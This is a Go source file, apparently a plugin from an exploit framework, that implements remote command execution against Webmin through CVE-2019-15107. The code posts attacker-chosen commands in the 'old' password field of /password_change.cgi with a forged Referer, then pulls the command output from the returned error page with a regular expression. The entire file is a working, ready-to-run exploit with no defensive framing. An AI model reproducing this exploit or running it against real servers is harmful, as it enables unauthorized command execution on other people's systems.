package drops

import (
	"context"
	"fmt"
	"gitee.com/wudicaidou/menciis-evilops/expbase"
	hubur "gitee.com/wudicaidou/menciis-hubur"
	"gitee.com/wudicaidou/menciis-pocx/pocbase"
	"net/http"
	"net/url"
	"regexp"
)

var webminContentRegexp = regexp.MustCompile(`(?s)<center><h3>Failed to change password : The current password is incorrect(.*)</h3></center>`)

type WebMinCve201915107 struct {
	expbase.BaseExploitPlugin
}

func init() {
	var exp WebMinCve201915107
	info := exp.Meta()
	ExpApis[info.VulId] = &exp
}

func (t *WebMinCve201915107) GetBasicInfo(ctx context.Context, expContext *expbase.ExpContext) (data []*expbase.BasicInfoEvent, err error) {
	return nil, expbase.ErrUnsupportedMethod
}

func (t *WebMinCve201915107) DownloadFile(ctx context.Context, expContext *expbase.ExpContext) (data []*expbase.FileDownloadEvent, err error) {
	return nil, expbase.ErrUnsupportedMethod
}

func (t *WebMinCve201915107) Meta() *expbase.ExpMeta {
	return &expbase.ExpMeta{
		Id:      "3570b35d-cb4b-4dc6-b849-09af0f0d058c",
		VulId:   "8f26e005-3a6c-482b-91a3-a39cbaba463c",
		Name:    "WebmMin_CVE_2019_15107",
		Ability: expbase.TypeCommandExecution,
		Echo:    true,
	}
}

func (t *WebMinCve201915107) ExecuteCommand(ctx context.Context, expContext *expbase.ExpContext) (data []*expbase.CommandResultEvent, err error) {
	reqAsset, ok := expContext.Target.(*pocbase.RequestAsset)
	if !ok {
		return nil, expbase.ErrEmptyReqAsset
	}
	req := reqAsset.Req.Clone()

	// todo 临时用 后面删
	if req.RawRequest.URL.Scheme == "http" {
		req1 := reqAsset.Req.Clone()
		req1.RawRequest.URL.Scheme = "https"
		_, err = expContext.HttpClient.Do(ctx, req1)
		if err == nil {
			req.RawRequest.URL.Scheme = "https"
		}
	}

	req.RawRequest.Method = http.MethodPost
	newUrl, err := hubur.ReplaceUri(req.GetUrl(), "/password_change.cgi")
	if err != nil {
		return nil, err
	}
	req.RawRequest.URL = newUrl

	referer, err := hubur.ReplaceUri(req.GetUrl(), "/session_login.cgi")
	if err != nil {
		return nil, err
	}
	req.SetHeader("Referer", referer.String())
	req.SetHeader("Content-Type", "application/x-www-form-urlencoded")
	for _, cmd := range expContext.CommandToExecute {
		body := fmt.Sprintf("user=&pam=&expired=2&old=%s&new1=test2&new2=test2", url.QueryEscape(cmd))
		req.SetBody([]byte(body))
		resp, err := expContext.HttpClient.Do(ctx, req)
		if err != nil {
			return nil, err
		}
		result := webminContentRegexp.FindSubmatch(resp.GetBody())
		if len(result) != 2 {
			return nil, fmt.Errorf("result num err")
		}
		data = append(data, &expbase.CommandResultEvent{
			Request:   *req.RawRequest,
			Response:  *resp.RawResponse,
			EventBase: t.GetEventBase(expContext.Target, t),
			Command:   cmd,
			Result:    result[1],
		})
	}
	return data, nil
}
